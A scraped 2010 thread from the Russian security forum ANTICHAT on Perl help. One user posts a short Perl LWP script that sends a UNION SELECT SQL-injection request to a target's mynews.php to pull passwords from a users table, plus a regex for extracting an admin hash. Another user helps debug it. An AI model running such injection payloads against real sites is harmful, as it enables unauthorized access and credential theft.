ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
05.04.2010, 11:15
|
|
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме:
3660186
Репутация:
905
|
|
Предположу
Код:
use CGI;
my $data = $query->param('POSTDATA');
Так же почитайте перлдок по модулю CGI, раздел "CREATING A FILE UPLOAD FIELD"
Последний раз редактировалось krypt3r; 05.04.2010 в 11:24..
|
|
|
05.04.2010, 15:48
|
|
Постоянный
Регистрация: 17.09.2008
Сообщений: 562
Провел на форуме:
6962560
Репутация:
536
|
|
Ponchik, это ветка про Perl... 
|
|
|
|
05.04.2010, 15:49
|
|
Постоянный
Регистрация: 30.08.2005
Сообщений: 730
Провел на форуме:
6828219
Репутация:
2274
|
|
ухтыёп, промахнулся 
То-то я думаю, почему krypt3r на перле чёто там спрашивает
Последний раз редактировалось Ponchik; 05.04.2010 в 15:52..
|
|
|
|
05.04.2010, 20:09
|
|
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме:
3660186
Репутация:
905
|
|
Я еще на перле не разговариваю =)
|
|
|
|
12.04.2010, 23:58
|
|
Участник форума
Регистрация: 13.12.2009
Сообщений: 130
Провел на форуме:
540530
Репутация:
54
|
|
как прочитать допустим все символы со страницы
читает хэш:
if ($answer =~/([0-9a-fA-F]{32})/)
print "\n[+] Admin Hash : $1\n\n";
а мне нужно чтоб все символы с веб-страницы?? посоветуйте пожалуйста=)
|
|
|
|
13.04.2010, 00:12
|
|
Постоянный
Регистрация: 17.09.2008
Сообщений: 562
Провел на форуме:
6962560
Репутация:
536
|
|
Сообщение от pinch
как прочитать допустим все символы со страницы
читает хэш:
if ($answer =~/([0-9a-fA-F]{32})/)
print "\n[+] Admin Hash : $1\n\n";
а мне нужно чтоб все символы с веб-страницы?? посоветуйте пожалуйста=)
если контент страницы в переменной $answer, то:
|
|
|
|
13.04.2010, 00:24
|
|
Участник форума
Регистрация: 13.12.2009
Сообщений: 130
Провел на форуме:
540530
Репутация:
54
|
|
пишет 400 url must be absolute
|
|
|
|
13.04.2010, 00:25
|
|
Постоянный
Регистрация: 17.09.2008
Сообщений: 562
Провел на форуме:
6962560
Репутация:
536
|
|
Сообщение от pinch
пишет 400 url must be absolute
Код весь выкладывай...
|
|
|
|
13.04.2010, 00:27
|
|
Участник форума
Регистрация: 13.12.2009
Сообщений: 130
Провел на форуме:
540530
Репутация:
54
|
|
use LWP::UserAgent;
print "\nTarget page:[http://wwww.localhost/pathdir/]: ";
chomp(my $target=<STDIN>);
$tab="users";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target ."mynews.php?id=1+union+select+password+from+".$ta b."/*";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;
print "\n[+] information : $answer\n\n";
|
|
|
|
13.04.2010, 00:32
|
|
Постоянный
Регистрация: 17.09.2008
Сообщений: 562
Провел на форуме:
6962560
Репутация:
536
|
|
Сообщение от pinch
use LWP::UserAgent;
print "\nTarget page:[http://wwww.localhost/pathdir/]: ";
chomp(my $target=<STDIN>);
$tab="users";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target ."mynews.php?id=1+union+select+password+from+".$ta b."/*";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;
print "\n[+] information : $answer\n\n";
Мммммм... поступим проще.. Напиши url страницы, с которой нужно получить контент...
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
